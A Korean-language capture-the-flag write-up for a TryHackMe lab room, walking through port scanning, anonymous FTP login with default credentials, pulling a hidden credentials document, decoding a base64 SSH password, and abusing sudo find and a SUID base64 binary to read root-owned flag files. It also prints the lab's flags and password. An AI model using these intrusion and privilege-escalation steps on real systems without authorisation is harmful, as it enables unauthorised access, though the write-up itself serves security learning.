https://tryhackme.com/r/room/grootsecurity
Task 7
이미 두번이나 해킹당한 HoneyVoice 일당은 보안을 강화했다!!
이번에도 해킹 할 수 있을 것인가?
* FTP exploit, privilege escalation, misconfiguration, SUID, GTFOBins를 이용해 Permission의 중요성에 대해서 배운다
첫번째 nmap을 이용하여 열려 있는 포트 확인 후 웹페이지 확인
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# nmap 10.10.23.74 -sV > nmap_res
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat nmap_res
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 23:12 EDT
Nmap scan report for 10.10.23.74
Host is up (0.33s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
그냥 일반적인 apach2의 기본 웹페이지 It works 가 떠있다. 별 다른 것은 없고 ftp 를 확인해 봐야겠다
두번째 ftp
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root):
ftp 서버에 연결하기 위해서 name, pw 를 알아야하는데 일단 국룰처럼 확인하는 것이 있다
일단 ftp가 open port 가 되어있는 것이 확인 되었다면 항상 default로 만들어져있는 것을 먼저 해본다
anonymous:anonymous
anonymous:
ftp:ftp
이렇게 3개가 있는데 하나씩 해본다
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
anonymous:anonymous 를 트라이 하니 접속이 되었다.
ftp> ls
229 Entering Extended Passive Mode (|||56078|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 0 Mar 12 2023 hiya
-rw-r--r-- 1 0 0 45 Mar 12 2023 temporary_pw.txt
226 Directory send OK.
ftp> get temporary_pw.txt
local: temporary_pw.txt remote: temporary_pw.txt
229 Entering Extended Passive Mode (|||58918|)
150 Opening BINARY mode data connection for temporary_pw.txt (45 bytes).
100% |*********************************| 45 10.26 KiB/s 00:00 ETA
226 Transfer complete.
45 bytes received in 00:00 (0.16 KiB/s)
ftp> exit
221 Goodbye.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ls
nmap_res target temporary_pw.txt
ftp에서 파일을 가져올때는 get이라는 명령어를 사용해서 파일을 가져온다.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat temporary_pw.txt
Do you see a docx file ? Read the docx file.
파일의 내용을 확인한 결과 docx파일이 보이냐는 말이 적혀있다 뭔가 의도적으로 보이지 않게 해놓은것 같다
ftp> ls -a
229 Entering Extended Passive Mode (|||64074|)
150 Here comes the directory listing.
drwxrwxr-x 2 1000 1000 4096 Mar 12 2023 .
drwxrwxr-x 2 1000 1000 4096 Mar 12 2023 ..
-rwxrw-r-- 1 1000 1000 7173 Mar 12 2023 .ssh_creds.docx
-rw-rw-r-- 1 1000 1000 0 Mar 12 2023 hiya
-rw-r--r-- 1 0 0 45 Mar 12 2023 temporary_pw.txt
226 Directory send OK.
ls -a 를 통해서 숨겨져있는 파일을 확인한 결과 docx 파일이 하나가 있고 파일을 확인하기 위해서 libreoffice를 사용하였고
이름은 ssh id 그리고 encoding 된 코드 하나를 받을 수 있다
일단 파일을 만든 저자를 알기 위해서 metadata를 확인해야하는데 그것을 알기 위해서 exiftool 이라는 것을 사용하여 확인할 것이다.
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# exiftool .ssh_creds.docx
ExifTool Version Number : 12.76
File Name : .ssh_creds.docx
Directory : .
File Size : 7.2 kB
File Modification Date/Time : 2023:03:11 21:31:40-05:00
File Access Date/Time : 2024:03:23 23:27:37-04:00
File Inode Change Date/Time : 2024:03:23 23:27:37-04:00
File Permissions : -rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0808
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x7f431349
Zip Compressed Size : 360
Zip Uncompressed Size : 1341
Zip File Name : word/numbering.xml
Creator : harry
harry 라는 저자를 알았고 비밀번호는 base64로 인코딩된 비밀번호 인걸을 확인할 수 있어서 base64로 디코딩 시켜준다
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# echo "Y2F0Y2htZSFAI2==" | base64 --decode
catchme!@#
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ssh harry@10.10.23.74
The authenticity of host '10.10.23.74 (10.10.23.74)' can't be established.
ED25519 key fingerprint is SHA256:AWt6DBDufX3qfIbn7UQP2HTBa+F5G+yijI5p/nMJm1M.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:4: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.23.74' (ED25519) to the list of known hosts.
harry@10.10.23.74's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-144-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 24 Mar 2024 03:39:11 AM UTC
System load: 0.08 Processes: 111
Usage of /: 33.6% of 9.75GB Users logged in: 0
Memory usage: 46% IPv4 address for eth0: 10.10.23.74
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
25 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Mar 13 03:30:45 2023 from 192.168.137.131
harry@linuxgroot:~$
ftp를 통해서 알아냈던 단서들을 통해서 ssh 연결까지 성공 시켰다
세번째 flag 찾기
harry@linuxgroot:~$ find / -name "user.txt" 2> /dev/null
/home/harry/backup/user7/user.txt
/home/harry/backup/user16/user.txt
/home/harry/backup/user/user.txt
harry@linuxgroot:~$ cd backup/
harry@linuxgroot:~/backup$ grep -r GROOT{
user7/user.txt:GROOT{C4TCHME_S3CRETS}
첫번째 user.txt
harry@linuxgroot:~$ find / -name "flag.txt" 2> /dev/null
harry@linuxgroot:~$ sudo -l
Matching Defaults entries for harry on linuxgroot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User harry may run the following commands on linuxgroot:
(root) NOPASSWD: /usr/bin/find
harry@linuxgroot:~$ sudo find / -name "flag.txt" 2> /dev/null
/root/flag.txt
harry@linuxgroot:~$ find / -type f -perm -4000 -exec ls -h {} \; 2> /dev/null
...
/usr/bin/base64
...
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 --decode /root/flag.txt
GROOT{C4tCl+lME!fy0Uc4N}
flag.txt 를 바로 읽을 순 없어서 suid를 이용해 root 권한으로 실행을 시킬수 있는 바이너리를 찾아야하는데 그중에서 base64가 있다 그래서 base64 명령어는 suid를 통해 root 권한으로 실행되기 때문에 base64를 통해서 파일을 읽는다 근데 인코딩이 되어있어서 이것을 디코딩 시켜줘야한다
이렇게 두번째 flag 까지 획득